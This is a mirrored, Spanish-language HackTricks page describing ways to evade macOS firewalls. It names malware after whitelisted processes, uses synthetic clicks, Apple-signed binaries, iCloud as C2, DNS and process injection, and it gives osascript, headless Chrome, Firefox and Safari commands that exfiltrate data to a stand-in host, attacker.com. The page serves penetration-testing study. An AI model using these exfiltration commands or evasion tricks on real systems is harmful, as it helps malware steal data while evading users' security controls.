Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-20 16:08:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

4.5 KiB
Raw Blame History

Evadiendo Firewalls en macOS

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Técnicas encontradas

Las siguientes técnicas se han encontrado funcionales en algunas aplicaciones de firewall de macOS.

Abusando de nombres en la lista blanca

  • Por ejemplo, nombrar el malware con nombres de procesos de macOS bien conocidos como launchd

Click Sintético

  • Si el firewall pide permiso al usuario, hacer que el malware haga clic en permitir

Usar binarios firmados por Apple

  • Como curl, pero también otros como whois

Dominios conocidos de Apple

El firewall podría estar permitiendo conexiones a dominios conocidos de Apple como apple.com o icloud.com. Y iCloud podría usarse como un C2.

Evasión Genérica

Algunas ideas para intentar evadir firewalls

Verificar tráfico permitido

Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en la lista blanca o qué aplicaciones tienen permiso para acceder a ellos

lsof -i TCP -sTCP:ESTABLISHED

Abusando de DNS

Las resoluciones de DNS se realizan a través de la aplicación firmada mdnsreponder, que probablemente estará permitida para contactar a los servidores DNS.

A través de aplicaciones de navegador

  • osascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome

{% code overflow="wrap" %}

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

A través de inyecciones en procesos

Si puedes inyectar código en un proceso que tiene permiso para conectarse a cualquier servidor, podrías eludir las protecciones del firewall:

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: